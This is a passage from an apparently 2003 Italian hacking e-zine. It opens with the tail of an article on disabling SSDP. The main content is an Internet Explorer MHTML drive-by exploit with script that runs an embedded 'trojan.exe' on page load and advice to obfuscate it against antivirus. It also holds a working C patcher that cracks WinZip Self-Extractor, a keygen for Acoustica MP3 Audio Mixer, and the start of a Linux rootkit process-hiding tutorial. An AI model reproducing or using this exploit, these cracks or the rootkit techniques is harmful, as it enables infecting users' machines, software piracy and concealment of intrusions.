dovrebbe facilitare l'installazione di alcune periferiche rilevandole 
automaticamente. Ma ritorniamo al nostro Servizio di rilevamento 
SSDP.....questo servizio come abbiamo...anzi...come ho già detto  prima, è 
uno dei componenti dell'UPnP....ma in dettaglio....a ca**o serve??

Il  protocollo SSDP (Simple Service Discovery Protocol) definisce i metodi che 
consentono sia a un punto di  controllo  di individuare le risorse di interesse 
nella rete, sia alle periferiche di comunicare la loro disponibilità nella 
rete. Questa tecnologia ha avuto una modesta fortuna rispetto alle aspettative 
e come se non bastasse  risente  di  un  buco  di  sicurezza. Infatti l'SSDP ha 
dei problemi con alcuni tipi di messaggi di notifica che possono essere usati  
per  generare  un  bufferoverrun e avere così accesso al sistema o eseguire 
degli attacchi multidistribuiti.Per eliminare questo problema ho trovato un 
ottimo programma che consente di  verificare  se  sul  tuo  sistema  operativo 
l'SSDP è presente...e se è presente ti permette di abilitarlo o di 
disabilitarlo!!! Dopo aver disabilitato il servizio ho rifatto il local port 
scan e la porta 5000 è chiusa ermeticamente!!!!

Il programma si kiama UnPnP.exe, è freeware ed è scaricabile dal sito: 
http://grc.com/UnPnP/UnPnP.htm


Per ulteriori informazioni sull'UPnP o sull'SSDP andate qui: 
http://www.microsoft.com/italy/technet/risorse/info_tech/windowsxp/upnpxp/

Dedicato:
=> A Tutta la crew di Informazionelibera!!! Continuate così!!!
=> Al mio grande Maestro e Amico Punish3r.....sei un grande!!!
=> A Yoshiyuki Sadamoto (NGE sempre e costantemente!!!)
=> E....ehm....hmmmmm....boh?!

Un sentito FUCK:
=> Al sistema!!!! FuCk ThE SyStEm BeFoRe It FuCk YoU!!! by AVA666 ----> Il mio 
Idolo!!!
 

Se ho sparato qualke stronzata mandatemi un e-mail a: amenuor@libero.it
E questo è tutto!!! Information wants to be free!

Questo è il mio 
PrimissimoSuperIperMegaTeraExaGigaMegaDisegnosuperbellissimo!!!!!uhauahuauah
Vabbè adesso vi saluto!!! Al prossimo Tut!!!!

+==[ HACKING ]================================================================+
|  Titolo: Una pagina web che si trasmuta in eseguibile?                      |
|  Autore: Unrelated                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
---< Una pagina web che si trasmuta in eseguibile? >--------------------
---<  DE HI HE HE HO... BUHAHAHHHHHHAAAAAAA... DEH.. DOH >--------------
 
 Scusatemi raga ma sto ancora ridendo... pensando alla povera microrotfl
 che nel suo bel SO, uscito  diciamo  da  poco tempo... sta già nuotando 
 negli exploit peggiori...  questo  che  andrò  a trattare è proprio uno
 che dovrebbe terminare l'avanzata di Xp  verso  il  successo... secondo
 il mio modesto parere... negli scorsi numeri trattai come da un piccolo
 codice html si poteva avviare un eseguibile tramite  IE, vi  ricordate?
 beh ora invece lo  creiamo  direttamente  trasformando  la  pagina  web
 in exe... magari questa  è la  volta  buona  che qualche lamah mi leva
 dai coglioni quei bastardi che visitano siti pree teen...

 
---< Intro dell'Exploit >-----------------------------------------------
 E'  noto  a  tutti  che  quando visitiamo col browser della microrotfl,
 esso analizza la pagina,la divide, riconosce il codice  Java  e  balle
 varie... ma comunque a noi basta sapere che decodifica il MIME.Il Mime
 è  un  sistema  di  codifica  Base64 per visualizzare in ascii un file 
 binario(.exe), la  sua  applicazione  più  comune è quella per l'invio 
 di exe nelle mail... già vi frulla qualcosina in testa vero?


---<       Exploit      >-----------------------------------------------
 L'errore  è del tipo security context validation, perchè in effetti il
 browser  interpreta  male  il  codice,  infatti  esegue  un eseguibile
 credendo che  provenga da locale e  quindi  tranquillamente  crede  di 
 stare  al  sicuro...


---< Codifica in MIME >-------------------------------------------------
 Autoinviatevi   una  e-mail  con  allegato il  file.exe...  dopo  che 
 l'avete ricevuta, aprite l'outlook e  cliccate  con  il  tasto  desto,
 scendendo  fino  a:
 Proprietà> Dettagli> Messaggio Originale
 In  questo SDItext scendete finche non trovate una miriade di lettere
 messe in modo  giustificato, le prime  due lettere   dell' eseguibile
 sono  TV, riuscirete tranquillamente a riconoscerle... copiate  tutto
 il codice  e  inseritelo  state per leggere . . .


---<  Codiamo l'exploit >-----------------------------------------------
 Umm useremo il Java... Sun finalmente ha la sua vendetta. :D
 per prima cosa diciamo al browser che tutte quelle letterine sono 
 l'eseguibile "trojan.exe" poi eludere qualche antivirus aggiornato
 facciamo un pò di confusione nel codice che deve eseguire il trojan
 ed il gioco è fatto... 

----8<------------------------------------------------------------------

 MIME-Version: 1.0
 Content-Location:file:///trojan.exe
 Content-Transfer-Encoding: base64

 TVLgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
 

 <script>
 function runEXE()
 {
 s=document.URL;
 path=s.substr(-0,s.lastIndexOf("\\"));
 path=unescape(path);
 s1='<object classid=''clsid:';
 s3='CODEBASE=''mhtml:'+path+'\\PaginaWEBdaNOMINARE.html';}
 s2='66666666-6666-6666-6666'' ';
 s4='!file:///trojan.exe''></object>';
 document.write(s1+s2+s3+s4);}
 setTimeout(''runEXE()'',100)
 </script>
 
-----8< 8< ------------------------------------------------------------


 beh non è una cosa difficile... vi lascio perchè devo andare a cercare
 una spada ninja per insegnare a Bill il Karakiri...
 ah per chiarezza io l'ho solo scoperto analizzando alcune pagine web e
 facendo 2 + 2.. per la questione della criptazione  in  mime se sapete
 dirmi se esiste un tool appropriato  segnalatemelo...  ciao  people  e
 alla prossima... cyber il 3 ci vediamo a scuola :(... ma ke kazz......

--< unrelated at libero dot it >----------------------------------------
--------------------------------------¤ Lord Unrelated Lodeguns ¤-------
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••


+==[ CRACKING ]===============================================================+
|  Titolo: Autokeygen Winzip Self-Extractor 2.2 e patcher under win32         |
|  Autore: Graftal                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
[+]Titolo: Autokeygen Winzip Self-Extractor 2.2 e patcher under win32
[+]Autore: Graftal
[+]Chan IRC: irc.azzurra.org - #Graftal
[+]Email: Macro_Six3@hotmail.com  ---- Questa è la mail se avete qlcs da dire 
[+]Copyright: Copyright 2003, All Rights Reserved.


____________
|DiSCLAiMER|

Every reference to facts, things or persons (virtual, real or esoteric) are
purely casual and involuntary. Any trademark nominated here is registered or
copyright of their respective owners. The author of this manual does not
assume any responsability on the content or the use of informations retriven
from here; he makes no guarantee of correctness, accuracy, reliability, 
safety or performance. This manual is provided *AS IS* without warranty of any 
kind. You alone are fully responsible for determining if this page is safe for 
use in your environment and for everything you are doing with it!


__________
|Premessa|

Ma buon giorno signorini, va là va là ki si rivede! Devo premettere ke in
questo semplice tute (ovviamente rivolto a quelli ke di cracking gia sanno
qualcosa ;) vi vuole mostrare una cosa davvero cara al nostro Quequero: un
programma puo essere attaccato da molte parti!
E qui noi ne illustreremo una, quella ke per certi versi modifica di più il
codice del programma. Proprio a questo proposito, dobbiamo sempre stare 
attenti perke un minimo errore puo provocare conseguenze imprevedibili! A parte 
questo, come vedete dal titolo, ci fare un patcher sotto windows (in C): non 
pensiate sia kissa cosa! Usa solo (e semplicemente ;) le messagebox. Veloce ed 
efficace! =)
Ok dai, basta co sta roba, passiamo all'azione ke mo ci divertiamo! :)

_____________________________
|LET'S FUCK THiS PROGRAM UP!|

Ok, partiamo subito con quello ke ci serve:

1) Un debugger (io ho usato OllyDbg)
2) Un hex editor (importantissimo! io ho usato l'hiew)
3) Winzip Self-Extractor (hehe, essenno cosa? :)
4) Beh, in realta bisognerebbe sapere UN MINIMO di asm under w32 ;) (ma poco)
5) Buona volonta e pazienza!

Let's go!

Allora, per prima cosa dobbiamo trovare un punto d'attacco. In questo caso, 
a noi serve il momento in cui un registro contiene il serial esatto 
(attenzione perke questo metodo non sempre si puo effettuare,ma stavolta passi) 
quindi diamoci da fare. Io lascerei questa parte a voi e vi direi subito dove 
dobbiamo operare: quindi non leggete il seguito finke non l'avete fatto da soli 
Il posto in cui dobbiamo far apparire la messagebox contentente il serial si
trova all'offset 95AA. Per sicurezza vi metto qui il codice ke vi troverete 
davanti:

:00409F99                 lea     eax, [ebp+var_104]
:00409F9F                 push    eax
:00409FA0                 push    offset byte_43E640
:00409FA5                 call    sub_409D1E
:00409FAA                 push    offset byte_43E520 ; Noi siamo qua
:00409FAF                 lea     eax, [ebp+var_104]
:00409FB5                 push    eax             ; char *
:00409FB6                 call    __strcmpi
:00409FBB                 pop     ecx
:00409FBC                 pop     ecx
:00409FBD                 neg     eax
:00409FBF                 sbb     eax, eax ;almeno fino a qui è tutto 
inutile
:00409FC1                 inc     eax ;quindi possiamo modificare tutto

Come vedete, abbiamo ci troviamo giusto giusto sotto una call (attenzione perke
quella call è fondamentale, quindi non fateci pasticci!). Apriamo il nostro 
hiew, F5 e scriviamo l'offset,F3 e premiamo  INVIO.
Ora siamo nella modalita assembler, possiamo cosi scrivere come se stessiamo 
giusto giusto programmando in asm =) Scrivete cio ke segue (vi metto anke 
gli opcodes, nel caso per qualsiasi motivo vi servano):

opcode  -------------  azione

6A20			push 20h ;pusha lo stile della msgbox
50			push eax ;pusha il titolo della msgbox
50			push eax ;pusha il testo della msgbox
FF7508			push d,[ebp][00008] ;pusha l'hWnd
FF1574234200		call MessageBoxA ;kiama la msgbox :)

--------------------------------------------

Quello ke ci troveremo sara questo:

.text:00409F99                 lea     eax, [ebp-104h]
.text:00409F9F                 push    eax
.text:00409FA0                 push    offset byte_43E640
.text:00409FA5                 call    sub_409D1E
.text:00409FAA                 push    20h
.text:00409FAC                 push    eax
.text:00409FAD                 push    eax
.text:00409FAE                 push    dword ptr [ebp+8]
.text:00409FB1                 call    ds:MessageBoxA
.text:00409FB7                 push    ebp
.text:00409FB8                 push    ebp
.text:00409FB9                 add     [eax], eax ;noppiamo questo!!!!!!!!
.text:00409FBB                 pop     ecx
.text:00409FBC                 pop     ecx
.text:00409FBD                 neg     eax
.text:00409FBF                 sbb     eax, eax
.text:00409FC1                 inc     eax

E attenti a noppare l'offset 95B9 ke senno da errore! :)
Ora pero fate attenzione. Noi abbiamo scritto tutto nella modalita assembler 
grazie all'hiew: dovete scrivere tutto in questa modalita TRANNE l'ultima 
riga. Per scrivere sta riga, uscite dalla modalita assembler (premete esc ;) 
e mettete l'opcode ke vi ho dato. Facciamo quindi il tutto, F9, F10 e 
facciamo partire il prog. Scriviamo un User e un serial a caso e vediamo ke 
ci poppa la nostra msgbox con il seriale giusto! EVVAI! Ma...hehe, gia, non 
è ancora mica finita? Io penso sia davvero poco professionale, non trovate? 
Prima di tutto, vediamo di zittire quella msgbox di errore: non andiamo a 
trovare il salto ke ci PORTA alla msgbox, semplicemente CANCELLIAMOLA! (mi è 
sempre piaciuta la forza bruta :) Come? Semplice, andate all'offset 9940 e 
noppate tutto di sana pianta (ci vanno 6 nop ;) Eccovi il codice:

.text:0040A32E                 push    10h
.text:0040A330                 push    0
.text:0040A332                 push    12FCh
.text:0040A337                 call    sub_406CC7
.text:0040A33C                 push    eax
.text:0040A33D                 push    [ebp+arg_0]
.text:0040A340                 call    ds:MessageBoxA ;noppiamolo!

Ora pero, andiamo a provare. Vediamo ke la msgbox di errore non compare, 
perfetto! Uff, dopo 3 volte ke sbagliamo pero, ci esce e dobbiamo rientrare 
nella finestra ke kiede il serial... Vediamo di farla finita una volta per 
tutte 
Andiamo all'offset 9958 (cioe subito dopo la msgbox di errore ke abbiamo 
appena cancellato) e vediamo di cambiare il jnz in un jmp.
Ecco qua, abbiamo terminato (o quasi :)! Ora andiamo a farci il patcher, 
pelandroni! :)
Ho messo qui il sorgente, voi fateci le modifiche ke volete. Io lo compilato 
con dev-cpp 4.8 e va alla grande, cmq la sostanza è questa.

----------------------------cutehere-----------------------------------------

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define JMP 0xEB
#define PUSH_EAX 0x50
#define PUSH_6A 0x6A
#define PUSH_20 0x20
#define HWinDFF 0xFF
#define HWinD75 0x75
#define HWinD08 0x08
#define MSGBOXAFF 0xFF
#define MSGBOXA15 0x15
#define MSGBOXA74 0x74
#define MSGBOXA23 0x23
#define MSGBOXA42 0x42
#define MSGBOXA00 0x00

int WINAPI
WinMain(HINSTANCE hInst,  HINSTANCE hPrevInst,
  LPSTR lpCmdLine, int nCmdShow)
{
FILE *fl_open;
char *s,*k;
long z,a;

if (!(fl_open=fopen("WZIPSE32.EXE","rb")))
		{
    MessageBox(0, "Non posso aprire il file",
        "Errore", MB_OK + MB_ICONHAND);
        exit(0);
		}

	fseek(fl_open,0,SEEK_END);
	z=ftell(fl_open);

	fseek(fl_open,0,SEEK_SET);
	s=k=(char*)malloc(z);
	if (!k)
		{
    MessageBox(0, "Non posso allocare la memoria",
        "Errore", MB_OK + MB_ICONHAND);
        exit(0);
		}
	while (!feof(fl_open))*(s++)=fgetc(fl_open);
	*(k+0x95AA)=PUSH_6A;
	*(k+0x95AB)=PUSH_20;
	*(k+0x95AC)=PUSH_EAX;
	*(k+0x95AD)=PUSH_EAX;
	*(k+0x95AE)=HWinDFF;
	*(k+0x95AF)=HWinD75;
	*(k+0x95B0)=HWinD08;
	*(k+0x95B1)=MSGBOXAFF;
	*(k+0x95B2)=MSGBOXA15;
	*(k+0x95B3)=MSGBOXA74;
	*(k+0x95B4)=MSGBOXA23;
	*(k+0x95B5)=MSGBOXA42;
	*(k+0x95B6)=MSGBOXA00;
	*(k+0x95B9)=NOP;
	*(k+0x95BA)=NOP;
	*(k+0x9864)=JMP;
        *(k+0x98A0)=JMP;
	*(k+0x9940)=NOP;
	*(k+0x9941)=NOP;
	*(k+0x9942)=NOP;
	*(k+0x9943)=NOP;
	*(k+0x9944)=NOP;
	*(k+0x9945)=NOP;
	*(k+0x9958)=JMP;


	if (!(fl_open=fopen("WZIPSE32Crk.exe","wb")))
		{
    MessageBox(0, "Non posso creare il file",
        "Errore", MB_OK + MB_ICONHAND);
        exit(0);
		}

	for (a=0;a<z;a++)
			fputc(*(k++),fl_open);

    fflush(NULL);
    fclose(fl_open);
    MessageBox(0, "Crack completato con successo!",
        "Congratulazioni!!", MB_OK + MB_ICONASTERISK);

	free(fl_open);

	exit(0);
}

---------------------------------------cuthere-------------------------------

Devo dire ke l'ho fatto un po "alla mia", nel senso ke ho un gusto 
particolare nel fare i sorgenti, quindi modificatevelo quanto vi pare, la 
sostanza, come dicevo prima, rimane la stessa! :)
Attenzione perke il patcher e il file originale vanno nella stessa cartella 
e soprattuto il file WZIPSE32Crk.exe ke viene creato, lo devete rinominare 
in WZIPSE32.exe perke funga!
Perfetto, direi ke altro non rimane, per oggi puo bastare :)

Ringraziamenti:
Ringrazio davvero col cuore tutti quelli di #crack-it (tra cui kOrn[CsA] a 
cui dedico il mio tute e ke mi ha dato alcune dritte su come migliorare il 
tute :P), #pmode, #asm, #informazionelibera e ovviamente #focushack! Quindi 
se siete su irc e non siete dei lameri (:P) veniteci a trovare, fa sempre 
piacere avere una faccia fresca in campo :))
Ne approfitto anke per ringraziare KoRnuto ke è in vacanza e quindi non si 
vede in giro (ma giusto oggi lo sentito per telefono)...Ma tanto tra poco 
parto ank'io :PP
Goodbye my friends, and remember:

Life is one, FUCK IT!

Copyright 2003, tutti i diritti riservati. Guida scritta interamente da 
Graftal il venerdi 8 agosto 2003.

+==[ CRACKING ]===============================================================+
|  Titolo: Serial Fishing Acoustica MP3 Audio Mixer e keygen development      |
|  Autore: Graftal                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
[+]Titolo: Serial Fishing Acoustica MP3 Audio Mixer e keygen development
[+]Autore: Graftal
[+]Chan IRC: irc.azzurra.org - #Graftal
[+]Email: Macro_Six3@hotmail.com  ---- Questa è la mail se avete qlcs da  dire 
[+]Copyright: Copyright 2003, All Rights Reserved.


____________
|DiSCLAiMER|

Every reference to facts, things or persons (virtual, real or esoteric) are 
purely casual and involuntary. Any trademark nominated here is registered or 
copyright of their respective owners. The author of this manual does not assume 
any responsability on the content or the use of informations retriven from here; 
he makes no guarantee of correctness, accuracy, reliability,safety or 
performance. This manual is provided *AS IS* without warranty of any  kind. You 
alone are fully responsible for determining if this page is safe for use in your 
environment and for everything you are doing with it!


Perfetto, ora siamo quasi pronti, quasi perke vi dovete leggere l'introduzione!

______________
|iNTRODUCTiON|

Questa premessa ci va assolutamente. Se vi ricordate, nel numero 01 di IL ho 
trattato il tute su come crackare Acoustica MP3 Audio Mixer (avevo ancora il 
nome di Macro Six³ ;)). Bene, in questa sede, vorrei invece insegnarvi come fare 
a trovare il serial corretto del programma! Ma non vi aspettate roba  difficile, 
dato ke come al solito, questo tute è per i + niubbi! Se quindi siete gia 
abbastanza esperti, potete anke non leggere il mio articolo e passare ad  altri! 
Gia il crackaggio del prog era na menata incredibilmente facile, trovare il 
serial poi... ;) Ma basta con le ciance, partiamo!

_______________________
|LET'S GET ON WiTH iT!|

Allora, prima di tutto ci serve:

1) SoftIce
2) IDA Pro (opzionale ma se volete seguire il tute per bene, vi serve)
3) La calcolatrice di winzozz (se non l'avete, sparatevi =)))
4) Sapere un linguaggio ad alto livello come c/c++
5) Compilatore di un linguaggio ad alto livello (es c/c++)

E stop! Gia dalle premesse sembra facile, e vi dico ke lo è! ;) Ok, avviamo 
softice (sice per brevita) e settate un breakpoint su GetWindowTextA (ovviamente 
si usa il comando bpx GetWindowTextA) e premete F5 per uscire. Ora apriamo il 
prog e vediamo ke dobbiamo registrarci, grazie a una bella nag! (se la nag non 
compare, andate su About\Buy and Register). A questo punto, mettete un serial a 
caso (io uso sempre 666 ;) e registratevi. Ecco ke sice poppa. Ora dobbiamo 
andare un po avanti nel codice, quindi usiamo F10 per circa 21 volte. Dovreste 
trovarvi davanti a una cosa del genere:

:00424CBD                 push    eax
:00424CBE                 mov     ecx, esi
:00424CC0                 call    sub_424130 ;dovreste essere qui
:00424CC5                 cmp     eax, ebx
:00424CC7                 jnz     short loc_424CE6

Dobbiamo entrare nella call, quindi, appena ci siete sopra, premete F8. Ecco 
cosa dovreste vedere, piu o meno:


..text:00424130                 sub     esp, 40h
..text:00424133                 push    ebp
..text:00424134                 mov     ebp, ecx
..text:00424136                 mov     ecx, [esp+44h+arg_0]
..text:0042413A                 push    esi
..text:0042413B                 cmp     ecx, 0F4240h
..text:00424141                 jbe     short loc_424196
..text:00424143                 mov     eax, ecx
..text:00424145                 xor     edx, edx
..text:00424147                 mov     esi, 12974h
..text:0042414C                 div     esi
..text:0042414E                 test    edx, edx
..text:00424150                 jnz     short loc_424196
..text:00424152                 mov     eax, [ebp+3Ch]
..text:00424155                 mov     esi, 1
..text:0042415A                 cmp     ecx, eax
..text:0042415C                 jz      short loc_424198
..text:0042415E                 mov     [ebp+3Ch], ecx
..text:00424161                 mov     ecx, ebp
..text:00424163                 call    sub_423E60
..text:00424168                 push    0
..text:0042416A                 push    offset aIds_you_regist
..text:0042416F                 call    sub_42E920
..text:00424174                 mov     eax, hWndParent
..text:00424179                 add     esp, 8
..text:0042417C                 push    0               ; lParam
..text:0042417E                 push    0               ; wParam
..text:00424180                 push    40Eh            ; Msg
..text:00424185                 push    eax             ; hWnd
..text:00424186                 call    ds:PostMessageA
..text:0042418C                 mov     eax, esi
..text:0042418E                 pop     esi
..text:0042418F                 pop     ebp
..text:00424190                 add     esp, 40h
..text:00424193                 retn    4

Con IDA e questo ke si vede ;)
Ora, andiamo per ordine e vediamo di analizzare tutto per bene:


..text:00424130                 sub     esp, 40h
..text:00424133                 push    ebp
..text:00424134                 mov     ebp, ecx
..text:00424136                 mov     ecx, [esp+44h+arg_0]
..text:0042413A                 push    esi
..text:0042413B                 cmp     ecx, 0F4240h
..text:00424141                 jbe     short loc_424196

Questo pezzo di codice serve a poco, ma è qlcs di fondamentale. Fate 
Attenzione a 0F4240h, cioe il numero ke ce scritto nella "linea" del jbe. 
Proviamo a trasformare quel numero da esadecimale in decimale. Su ida, cliccate 
sopra al numero e poi premete H, e vedrete il corrispondente numero Decimale. 
Ma...CHE STRANO! Il numero è 1000000! Ke sia un caso? Naaaa, niente è un caso! 
Io avevo scelto il serial 666 e quando arrivo a questo punto, avviene il salto 
(perke 666 è + piccolo di 1000000 ;) e mi va alla skermata di errore! Hehe, 
allora cosa bisogna fare? Semplicissimo, sono sicuro ke l'avete capito anke  
voi, basta mettere come serial un numero + grande di 1000000 (se mettete 1000000 
vi salta perke ce scritto jbe, cioe salta se minore O uguale, quindi ocio!) e 
dovremmo poter andare avanti. è proprio cosi, io ho scelto quindi il serial 
1000001 e sono andato avanti...quindi sappiamo gia ke il numero del serial è 
certamente + grande di 1000000...Ora, vediamo ke ce scritto dopo...

..text:00424143                 mov     eax, ecx
..text:00424145                 xor     edx, edx
..text:00424147                 mov     esi, 12974h
..text:0042414C                 div     esi
..text:0042414E                 test    edx, edx
..text:00424150                 jnz     short loc_424196

Ed eccoci alla parte fondamentale, capito questo, abbiamo tra le mani il 
Nostro serial! Anke qui, fate attenzione a 12974h! Qui in pratica, succede ke il 
serial da noi immesso, viene diviso per 12974h e il risultato viene messo in 
eax. Si puo facilmente capire perke 1000001 : 76148 = 13,altri_numeri dove 76148 
sarebbe 12974h in decimale. Quel 13 in esadecimale è D e infatti potete vedere 
nel sice ke in eax abbiamo guarda caso il valore D! I conti cominciano a 
tornare, ma ce ancora un problema.Nel test il nostro prog testa il valore di edx 
ke se noi guardiamo dal sice è 275D. Ma sto numero da dove viene, ke centra, 
come si ricava?? =) Ebbene, questa è l'ultimissima parte del tute, dato ke 
scoperto questo,  diventa un gioco da ragazzi ricavarsi il serial. Io vi 
consiglio di scoprirlo da soli, lo trovo + istruttivo ecco, ma cmq, vi scrivo 
(ovviamente =) come lo si ricava. Diciamo ke lo capito quasi (QUASI!) per caso, 
mentre stavo facendo un po di calcoli (ecco perke vi serve la calcolatrice, e ke 
soprattutto vi trasformi  da esadecimale in decimale e viceversa!) e guardate un 
po quello ke segue qui, il ragionamento insomma, ke trovo super-istruttivo =)): 
io stavo pensando a delle relazione tra 275D e il resto della divisione (se  
fate caso ce scritto div, e non idiv ke sarebbe la divisione Intera) ma non  
ritorna nulla se ci fate caso...beh, allora il prog sta sicuramente facendo dei  
calcoli ulteriori per ricavare il tutto, quindi mettiamoci li e pensiamo. Allora 
provo:

x : 12974 = 275D

dove x è la parte dopo la virgola del risultato della divisione 1000001 : 76148 
= 13,altri_numeri Io qui ho scritto altri_numeri perke è bello lungo e 
soprattutto,NON SONO NECESSARI! Ora, dato ke edx ke contiene 275D deve avere il 
valore di 0 (ce scritto jnz, quindi se in edx ce un numero diverso da 0 si va 
alla  skermata di errore, alla beggar off insomma =) cosa abbiamo capito? 
Semplice, ke il serial in realta è un multiplo di 12974h! Attenti pero, bisogna 
trasformare  il 12974h in decimale, cioe 76148. Oltretutto, questo multiplo deve 
essere + grande di 1000000, non dimenticate! Ed ora allora, con la calcolatrice, 
creamoci il multiplo, per esempio 76148 * 14 = 1066072 Il numero va benissimo, 
dato ke è + grande di 1000000 ed è anke un multiplo di 76148! Provate a 
registrarvi e...TADAAAA! I SOFFICINI! Il prog è bello ke registrato! Ma ora, 
scriviamo il keygen! Eccovi il source code di quello ke ho fatto io, è un po 
vistoso con molte cazzatine, le ho fatte giusto perke non  ho nulla da fare ora 
come ora, quindi... ;)

-----------------------------------------cut------------------------------------
#include <iostream>
#include <stdlib.h>
#include <fstream>
using namespace std;

int main()
{
int scelta, random, serial;
char sceltastart, sceltaserial;
inizio:
system("CLS");
cout << "Keygenerator per Acoustica MP3 Audio Mixer by Graftal\n";
cout << "_____________________________________________________\n";
cout << "|                                                   |\n";
cout << "|1) Crea il serial per Acoustica MP3 Audio Mixer    |\n";
cout << "|2) About                                           |\n";
cout << "|3) Ringraziamenti                                  |\n";
cout << "|4) Esci                                            |\n";
cout << "|___________________________________________________|\n";
cin >> scelta;
switch(scelta)
{
case 1: goto generate;
break;
case 2: goto about;
break;
case 3: goto thx;
break;
default: goto finetotale;
break;
}
generate:
random = rand() % 131;
if (random < 14) goto generate;
else
serial = random * 76148;
cout << "Il serial number e' " << serial << endl;
cout << "Generare un altro serial? (s/n)";
cin >> sceltaserial;
if (sceltaserial=='s' || sceltaserial=='S') goto generate;
end:
cout << "Ricominciare il programma dall'inizio? (s/n)";
cin >> sceltastart;
if (sceltastart=='s' || sceltastart=='S') goto inizio;
else goto finetotale;
about:
system("CLS");
cout << "Programma scritto interamente da Graftal, tutti i diritti 
riservati\n";
goto end;
thx:
system("CLS");
cout << "Vorrei ringraziare tutti colori ke hanno creduto in me e a tutta 
la\n";
cout<<"crew di Informazionelibera nella quale scrivo. Visitate il sito 
della\n";
cout << "ezine a www.informazionelibera.cjb.net e andate su IRC nel 
server\n";
cout << "irc.azzurra.org nel chan #informazionelibera !\n";
goto end;
finetotale:
      system("PAUSE");
      return 0;
}
----------------------------------------cut-------------------------------------

Ok, direi ke è proprio tutto raga! Anke questo tute è finito, spero abbiate
imparato qualcosa, dato ke senno ho fatto un tutorial per nulla :P Ci 
vediamo ai prossimi tutorial, ke saranno mooolto + interessanti, quindi, come al 
solito, STAY TUNED!
Byezzz...

Life is one, FUCK IT!
Guida scritta interamente da Graftal il sabato 26 giugno 2003.
Tutti i diritti riservati.


+==[ LINUX\HACKING ]==========================================================+
|  Titolo: Nascondiamo un processo o difendiamoci da tale trucco              |
|  Autore: Loxeo                                                              |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
-[ DISCLAIMER ]---------------------------------------------------------------
Tutto il materiale contenuto in questo articolo ha fini eslusivamente
informativi ed educativi.
L'autore non si riterra' in alcun modo responsabile per danni perpetrati a cose
o persone causati dall'uso di codice, programmi, informazioni, tecniche
contenuti all'interno dell'articolo.
Sei libero di continuare a leggere oppure di fermarti qui.
Se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, interrompi
immediatamente la lettura e cancella questo file dal tuo  computer.
Proseguendo ti assumi ogni genere di responsabilita` per l'uso che farai delle
informazioni contenute.
Tieni presente che io per primo sono un amministratore di sistema, e mai e poi
mai mi sognerei di iniziare la carriera di hacker. Rifletti bene su questa
cosa............................
------------------------------------------------------------------------------



NASCONDIAMO UN PROCESSO (...O DIFENDIAMOCI DA TALE TRUCCO.............)

In Linux, per ogni processo che sta girando, viene creata una cartella in /proc
con il nome del pid associato al processo; ad esempio se ho un programmino tipo
l'editor emacs in funzione e con un ps vedo che il suo pid e' 2145, allora
esistera' il seguente file con il seguente path:
 /proc/2145/exe
dove exe e' un link al binario emacs.
Ovviamente molti rootkit forniscono dei moduli da caricare affinche' nascondano
i processi maliziosi a programmi tipo ps o top. Tutti questi moduli altro non
fanno se non hookare (intercettare, per i meno poliglotti) le chiamate di
sistema fatte da questi programmi e manipolare le risposte date dalle funzioni
di sistema associate a tali syscall; in siffatto modo si puo' sciegliere cosa il
sistema dara' in input a ps (o top) e di conseguenza quale sara' l'output di
questo programma.
Sembra percio' abbastanza semplice ingannare questi visualizzatori di processi
affinche' mi facciano vedere solo quello che voglio io, celando programmini che
lavorano in background.
Vi e' pero' un problemino: un buon amministratore di sistema conosce queste
tecniche e di conseguenza usa programmi fatti ad hoc per non essere ingannati.
Noi vedremo sia il modulo d'attacco che il programmino di difesa.

Nota: essendo un modulo quello che io vado a caricare, risultera' visibile se
viene lanciato un lsmod (un serio amministratore di sistema sa quali moduli
devono essere caricati sul suo sistema, percio' eventuali discrepanze lo
insospettiranno). Come fare? Il rootkit dovra' contenere un secondo modulo che
elabori anche l'output del comando lsmod, cosi' da nascondere se stesso e il
modulo d'attacco: i moduli ci sono ma non si vedono!!!!! Anche questo modulo
sfrutta la stessa tecnica dell'hook del primo modulo che stiamo nascondendo.
Lascio a voi lettori per esercizio la realizzazione di questo secondo modulo.

NON TUTTO IL CODICE DI UN ROOTKIT E' SEMPRE MALE!

I moduli che nascondono i processi possono trasformarsi anche in amici degli
amministratori. Io ad esempio ne ho conosciuto uno che usava questo trucco per
far credere all'attaccante che esistesse un solo processo atto a loggare le
operazioni sul sistema, nascondendone un secondo! E per non rompersi le scatole,
aveva chiamato il modulo con il nome ntfs.o , cioe' come quello per la lettura
di un filesystem NT; quanti attaccanti avrebbero pensato che questo modulo
avrebbe permesso di tracciare silenziosamente i loro movimenti? Sinceramente
pochissimi, se non nessuno!

COMINCIAMO CON IL CODICE D'ATTACCO

I primi rootkit portavano con se' una versione modificata del programma da
ingannare, cosi' piu' che di un inganno si poteva parlare di "falsa idendita'".
Con gl'anni questo stile di hacking ha perso significato; basti pensare a quei
tools sul genere di tripwire (www.tripwire.org) che creano per ogni file un
hash, e che vanno a verificare se al momento del ricalcolo di tale hash questo
corrisponda al precedente. In caso contrario avvisano chi di dovere della sicura
sostituzione di porzioni di codice.
Anche voi potreste crearvi un tool di questo genere: basta che usiate il
programma md5sum (sintassi: md5sum nomefile) e che salviate al sicuro (meglio
all'esterno del pc esposto agli attacchi) la chiave di hash che questo vi da in
output. In futuro, per verificare l'integrita' del file vi bastera' rilanciare
md5sum e confrontare le due chiavi.
Alla luce di questi fatti, lo stato dell'arte in fatto di rootkit ha ben pensato
di darsi ai moduli di sistema: i cosiddetti KLM (o LKM). Questi in pratica
hookano le syscall del nostro programma lasciando inalterata la sua struttura.
A dire il vero, oggigiorno i rootkit piu' seri (ed efficaci !!!!) usano una
tecnica che consiste nell'andare a sganciare il processo durante i periodi di
inattivita', reintegrandolo al momento opportuno. Mi spiego meglio. Sappiamo che
ogni sistema operativo al momento implementa il multitasking (vero o simulato
che sia): cioe' esegue a rotazione tutti i processi per brevi intervalli, cosi'
da esaurirli in contemporanea. Durante un'epoca (si definisce cosi' il periodo
